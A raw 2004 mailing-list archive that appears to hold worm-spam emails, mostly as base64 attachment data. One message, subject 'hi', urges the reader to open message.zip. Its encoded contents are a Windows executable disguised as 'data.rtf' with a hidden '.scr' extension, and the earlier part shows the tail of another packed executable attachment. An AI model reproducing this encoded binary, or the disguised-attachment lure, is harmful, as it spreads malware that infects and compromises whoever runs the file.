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 lybCg1abyU9fUUZtmSONnTMYqZnQjCOc6UsSISYAeO0YweBPIPwQp8qvC0A4Iw6qEAjBiWYc F9/7dSZKfA4sA7ic8vdXZRtjhfqb+/QlSSdeiFtZ638dhZpslnxrrOyWCkQC9zv5ThE1c+hq 9gjgnzjc1aqhTcNgOo4dPSKRHGSEK1bixnOSMwNr2we84tNGyphKUZekD4uOEwYY0NJ75CnO tudCWdCoGNDFAKx6ySH9tODWM0upDR0qepLdNbId4nRLjwAAAQACACAgEAABAAQA6AIAAAEA KAAAACAAAABAAAAAAQAEAAAAAACAAgAAAAAAAAAAAAAAAAAAAAAAAMz//wBoV1gAAAAAAICA gAD///8AwMDAAP8AAAAA//8AvwAAAAAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAiIRIi IiIiIiIiIiIiIiIiIiE1VVVVVVVVVVVVVSUiIiIjRERERERERERERERSUiIiI0RERERERFVU REVVUlIiIiNEiIiIREmZRESZlFJSIiIjRERERERElURESVRSUiIiI0SIiIiIRElVVVlUUlIi IiNEREREREREmZmZVFJSIiIjRIiIiIiIRElUSVRSUiIiI0RERERERERElUlUUlIiIiNEiIiI iIiIRElZVFJSIiIjREREREREREREmVRSUiIiI0SIiIiIiIiIRElEUlIiIiNERERERERERERE RFJSIiIjRIiIiIiIiIiIiERSUiIiI0REREREREREREREUlIiIiNEiIiIiIiIiIiIRFJSIiIj RERERERERERERERSUiIiI0QiIiIiRIiIiIhEUlIiIiNEOZJEQkRERERERFJSIiIjRDIiIiJE iIiIiERSUiIiI0Q0QndyREREREREUlIiIiNEMiJ3ckSIiIiIRFJSIiIjRDRCd3JERERERERS UiIiI0Q0QmZiREREREREUlIiIiNENEJmYkRERERERFJSIiIjRDMyIiJERERERERSUiIiI0RE REREREREREREUlIiIiNCRCRCRCRCRCRCRDJSIiIjQkQkQkQkQkQkQkQyUiIiIiQzQzQzQzQz QzQzQyIiIiIiIiIiIiIiIiIiIiIiIuAAAA/gAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH 4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AA AAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB/gAAA//////oRzoMEABacD9QwPA BcM4niYooxADwfgQJf9/hwDDi0QkVQQS6VXs7FEHU1ZXM/8xiX381BUcYCAoi/BoyMA3D7dF CFBkViYYIdhTkRUUMlAOECE7x4mKPHQqFhEMDVdogKzAagLxsBIRQP91bAyKNAiIg/j7v1QB dQQzwOtB0Ns7A/d2GOhh/xwCmbkbAVLx+YuAjDAUA0M73h5y6I3M/FfhdWwIfXgEii4JEWd6 ObH8D5TYX14pW8myHIGMZAx8VnC+YAQMV42FnG/zoqZQamApFSysDT0oDYgs4PtOjNcUvEb3 AIB9/lyLNSTFPb/gReF0CiIlVwXWIQpo0LAvHYC93IlcoUI8ICH+NeGhORA0YTAJamXoMrv+ EFmTP70Kg1COyiaRIEGwBq9yRAhq2wUoxEaj5B/IFjyJPbcjLXRTFDTobEV2dSLGAxU4NXxQ UVoSCXVYloUSwHQFVE0TRhUjNBEUdRkPagHnMEgSAvTQkDEwwhAAtDgwQDKQCXQkEENVJ2yX zo5pz20KYQifdo9lIO9F727vY+9y73nscCtl/GTPJlftbyObTEQN1i/lFhTNMGJKnwpT2WtZ TrMnXC7zQ/NadjOoMXAq/8OFPDVkpy64Uw7KRoGfZ5loFXP5QlSRDoRrGQN1+GVy9m8AbmZp Zzl4LmRxbOEQQklOGEFSWRBGVgNQcm90ZWObLqN4tjFgXAAA4AHgAuAg4hDOEQQN6Ba+EX2k Dnsog0YiAYwoCRCJIBZJiRTAwp8BFYADbwgUB5ACZhPAAtAQCXBV/wO8CFIHQQIGEwqOQigB dwFscBAon9EECBB5mYP0RPf9JhAihBDi947QAhCckU+9GAjwqwEZ0g+PA4BceMBUB7ADrQRS AzjqrwAAAeAgcEAOS0VSTmBMMzIuZHFs4EbobwZzZUhhbhjtwFpyPml0OkZuFb6/KWELHEEd Vp96R29mUudzUXVyY582Tzqpaw1iYWQWEElpbrZueko9dE2+ZClsXbMiRvFweUlSm+R0RkTA JFfBa293c0TfPuRj+ep5pTmgLRROYW1MhlBy8PJk45xMc2p2H0xpYjtTLz5UUJNDz+5uNA0Y TGG8RXLcXOvFjE11CHjMTgMAAAAAAAAAAAAAAAAA ------=_NextPart_000_001B_01C0CA80.6B015D10-- From casalinda4@earthlink.net Sun Apr 25 15:44:15 2004 Received: from xemacs.org (modemcable022.146-201-24.mc.videotron.ca [24.201.146.22]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3PJiDs15349 for ; Sun, 25 Apr 2004 15:44:13 -0400 Message-Id: <200404251944.i3PJiDs15349@gwyn.tux.org> From: casalinda4@earthlink.net To: xemacs-beta-archive@xemacs.org Subject: hi Date: Sun, 25 Apr 2004 15:34:12 -0700 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0016----=_NextPart_000_0016" X-Priority: 3 X-MSMail-Priority: Normal This is a multi-part message in MIME format. ------=_NextPart_000_0016----=_NextPart_000_0016 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit Please see the attached file for details. ------=_NextPart_000_0016----=_NextPart_000_0016 Content-Type: application/octet-stream; name="message.zip" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="message.zip" 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 